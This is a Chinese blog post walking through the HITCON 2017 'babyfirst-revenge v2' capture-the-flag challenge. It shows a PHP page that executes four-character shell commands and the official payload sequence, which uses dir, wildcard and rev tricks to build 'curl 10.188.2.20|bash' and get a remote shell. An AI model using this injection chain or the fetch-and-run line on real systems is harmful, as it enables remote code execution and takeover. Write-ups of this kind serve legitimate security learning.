Hitcon2017 babyfirst-revenge v2复现

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011377996/article/details/82765441

这个题目的条件更加苛刻了,先放个源码

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

简单看一下这段代码比上一次的代码的cmd长度更小,很显然我们就不能再以ls>>_ 来将相关的命令覆盖到文件里面了
但是orange大大用的方法真是叹为观止,根据官方payload一步步来分析这里是怎么巧妙的绕过4个字符串的长度的

payload = [ 


# generate "g> ht- sl" to file "v"
 '>dir', 
'>sl',
 '>g\>',
 '>ht-',
 '*>v',
 

# reverse file "v" to file "x", content "ls -th >g"
 '>rev',
 '*v>x', 



# generate "curl orange.tw|python;"
 # generate "curl 10.188.2.20|bash" 
'>\;\\',
 '>sh\\', 
'>ba\\',
 '>\|\\',
 '>20\\',
 '>2.\\',
 '>8.\\',
 '>18\\',
 '>0.\\',
 '>1\\',
 '>\ \\',
 '>rl\\',
 '>cu\\',

 # got shell
 'sh x', 
'sh g',
 ]

首先第一个知识点就是Linux下存在dir命令作为ls命令的别名,可能有的系统没有,但是对于这道题而言是有的,而且他也是默认以字典序去排列,对于这题而言这个命令起到了拼接文件名的效果,但是注意含有特殊字符以及数字的情况下,字母排序的优先级会降低
ietTMt.png

第二个点在于单独一个*的命令有何作用,这个命令会先将当前目录下所有的文件进行一个排序,然后排序后的结果会以命令的形式送去bash执行,如下图,但是如果有写不是命令的话就会出现command not found的报错,这样一来我们就可一利用dir加上*命令去执行写入文件的操作,这也是这道题目关键之处,利用了逆序执行命令的骚操作,这得对Linux系统多么熟悉啊
iet7sP.png

接着上就提出下一个知识点,就是利用rev命令去反向文件的字符串,顾名思义,我们就是要把ls -t >g这一条命令给逆序过来,这操作很强。这也是为什么要先构造下图中的文件名,你逆序过来就会发现是ls -th >g

ietHqf.png
有人可能会问为什么会多加一个h,因为如果不多加h的话在你执行dir的时候按字母排序字母ts更靠后,放进v文件之后以及放入想文件里面是这样的,这就跟我们的目的相违背,不能构造出ls -t >g了,但是我们构造的是ls -th >g情况就会有所改观,这个h实际上没有影响,就是一个改变视图结构的东西,把内存大小变得更加人性化而已。
ietqZ8.png

ietLdS.png

按照上面所说把v文件的内容弄好,下面就应该创建一个rev的文件,为的是利用这个命令,通过*v>x的方式把逆序后的内容放在x文件里面,到后期可以直接sh执行,*v>x这个命令的含义就是将所有最后一个字母都是v的文件排个序,然后执行,因为r在v的前面实际上的命令就是 rev v>x,所以最后到x文件里面的内容就是
ietjiQ.png

到这里就跟第一个babyfirst-revenge一样了,后续步骤就不多说了,直接上EXP获取flag2333

小结

1.第一个利用的点是逆序字符串放入文件中在执行,如果让我来想我是绝对想不到的,学习了
2.第二个就是利用了dir命令完美滴绕过了ls>>x这个限制
3.Linux下*命令巧妙使用

猜你喜欢

转载自blog.csdn.net/u011377996/article/details/82765441